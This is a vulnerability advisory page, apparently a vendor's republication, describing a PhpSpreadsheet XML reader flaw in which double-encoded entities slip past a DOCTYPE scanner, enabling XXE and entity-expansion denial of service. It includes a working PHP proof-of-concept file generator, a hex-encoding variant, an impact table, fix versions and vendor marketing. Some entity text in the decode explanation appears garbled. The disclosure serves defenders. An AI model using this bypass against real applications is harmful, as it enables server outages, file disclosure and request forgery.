Summary
PhpSpreadsheet: XmlScanner Bypass via Double-Encoded unentity() TOCTOU Allows XXE and Denial of Service
The SpreadsheetML XML reader (Reader\Xml) scans file content twice through XmlScanner::scan(), and each scan runs an unentity() callback that calls html_entity_decode() after the pattern check. By double-encoding the < character as &#60;, the first scan decodes & to & (forming <), and the second scan decodes < to < (forming <!DOCTYPE). Neither scan's pattern check detects the <!DOCTYPE string because the callback runs after each check. This enables Denial of Service via entity expansion on all PHP versions, and XXE/SSRF on PHP < 8.0 or when LIBXML_NOENT is used.
Details
The vulnerability involves an interaction between three code locations:
1. XmlScanner::scan() (XmlScanner.php, lines 87–108), checks the pattern before the callback:
public function scan($xml): string
{
$pattern = '/\0*<\0*!\0*D\0*O\0*...\0*/';
if (preg_match($pattern, $xml)) { // CHECK 1 (raw)
throw new Exception('Detected use of ENTITY...');
}
$xml = $this->toUtf8($xml);
if (preg_match($pattern, $xml)) { // CHECK 2 (UTF-8)
throw new Exception('Detected use of ENTITY...');
}
if ($this->callback !== null) {
$xml = call_user_func($this->callback, $xml); // DECODE (after checks!)
}
return $xml; // <!DOCTYPE now present, never checked
}
2. Xml::canRead() (Xml.php, lines 79–117), scans and stores the result:
$data = file_get_contents($filename);
$data = $this->getSecurityScannerOrThrow()->scan($data); // 1st scan
// ...
$this->fileContents = $data; // stores partially-decoded content
3. Xml::trySimpleXMLLoadStringPrivate() (Xml.php, lines 120–150), re-scans the stored content:
$data = $this->fileContents; // already partially decoded
$xml = simplexml_load_string(
$this->getSecurityScannerOrThrow()->scan($data) // 2nd scan finishes decoding
);
The double-scan decode chain:
Raw file: &#60;!DOCTYPE
|
1st scan(): pattern check → no match (no "<" character)
callback → html_entity_decode(&) = &
|
Stored: <!DOCTYPE
|
2nd scan(): pattern check → no match (no "<" character)
callback → html_entity_decode(<) = <
|
Parser sees: <!DOCTYPE ← never detected by either scan
The unentity() callback (Xml.php, lines 54–61) protects five named entities (& < > " ') via Unicode placeholders, but numeric entities (& < & <) are not protected and are decoded by html_entity_decode().
PoC
Save the following as poc_toctou.php in a directory with PhpSpreadsheet installed via Composer:
<?php
require 'vendor/autoload.php';
// Double-encoded: &#60; survives two scan() passes
// 1st scan callback: & → & (forms <)
// 2nd scan callback: < → < (forms <!DOCTYPE)
$entity_value = str_repeat('A', 100000);
$refs = str_repeat('&big;', 200);
$xml = '<?xml version="1.0"?>' . "\n"
. '<?mso-application progid="Excel.Sheet"?>' . "\n"
. '&#60;!DOCTYPE Workbook [' . "\n"
. ' &#60;!ENTITY big "' . $entity_value . '">' . "\n"
. ']>' . "\n"
. '<Workbook xmlns="urn:schemas-microsoft-com:office:spreadsheet"' . "\n"
. ' xmlns:ss="urn:schemas-microsoft-com:office:spreadsheet">' . "\n"
. ' <Worksheet ss:Name="Sheet1">' . "\n"
. ' <Table><Row><Cell><Data ss:Type="String">' . $refs . '</Data></Cell></Row></Table>' . "\n"
. ' </Worksheet>' . "\n"
. '</Workbook>';
file_put_contents('poc.xml', $xml);
echo "File size: " . filesize('poc.xml') . " bytes\n";
$mem_before = memory_get_usage(true);
$reader = new \PhpOffice\PhpSpreadsheet\Reader\Xml();
echo "canRead: " . ($reader->canRead('poc.xml') ? 'true' : 'false') . "\n";
$spreadsheet = $reader->load('poc.xml');
$peak = memory_get_peak_usage(true);
echo "Peak memory: " . round($peak / 1024 / 1024, 1) . " MB\n";
$val = $spreadsheet->getActiveSheet()->getCell('A1')->getValue();
echo "Cell A1 length: " . strlen($val) . " bytes\n";
echo "Entity expansion: " . (strlen($val) > 10000 ? "CONFIRMED" : "not detected") . "\n";
Run: php -d memory_limit=512M poc_toctou.php
Expected result: The file loads successfully, bypassing both scan passes. Internal entities expand, consuming ~45 MB of memory. Cell A1 contains 32,767 bytes (PhpSpreadsheet's max cell length, confirming entity expansion).
Hex variant: Replace &#60; with &#x3C;, both are decoded by html_entity_decode().
Tested on: PhpSpreadsheet 5.9.0, PHP 8.5.3, libxml2 2.9.13.
Impact
| Attack | PHP < 8.0 / libxml2 < 2.9 | PHP 8.x / libxml2 2.9+ |
|---|---|---|
| Denial of Service (quadratic blowup) | Exploitable | Exploitable |
| Local file read via SYSTEM entity | Exploitable | Blocked by default |
| SSRF via SYSTEM entity | Exploitable | Blocked by default |
| File read when LIBXML_NOENT is used | Exploitable | Exploitable |
Any application that accepts user-uploaded SpreadsheetML XML files (recognized by the <?mso-application progid="Excel.Sheet"?> processing instruction) and processes them with PhpSpreadsheet's Xml reader is vulnerable.
An XML parser processes external entity references in untrusted input, causing the server to fetch internal resources or remote URLs. Typical impact: local file disclosure, server-side request forgery, or denial of service.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
phpoffice/phpspreadsheet to 5.10.0 or later; phpoffice/phpspreadsheet to 3.10.8 or later
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2026-108357? CVE-2026-108357 is a high-severity XML external entity injection (XXE) vulnerability in phpoffice/phpspreadsheet (composer), affecting versions >= 4.0.0, <= 5.9.0. It is fixed in 5.10.0, 3.10.8. An XML parser processes external entity references in untrusted input, causing the server to fetch internal resources or remote URLs.
- Which versions of phpoffice/phpspreadsheet are affected by CVE-2026-108357? phpoffice/phpspreadsheet (composer) versions >= 4.0.0, <= 5.9.0 is affected.
- Is there a fix for CVE-2026-108357? Yes. CVE-2026-108357 is fixed in 5.10.0, 3.10.8. Upgrade to this version or later.
- Is CVE-2026-108357 exploitable, and should I be worried? Whether CVE-2026-108357 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-108357 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-108357?
- Upgrade
phpoffice/phpspreadsheetto 5.10.0 or later - Upgrade
phpoffice/phpspreadsheetto 3.10.8 or later
- Upgrade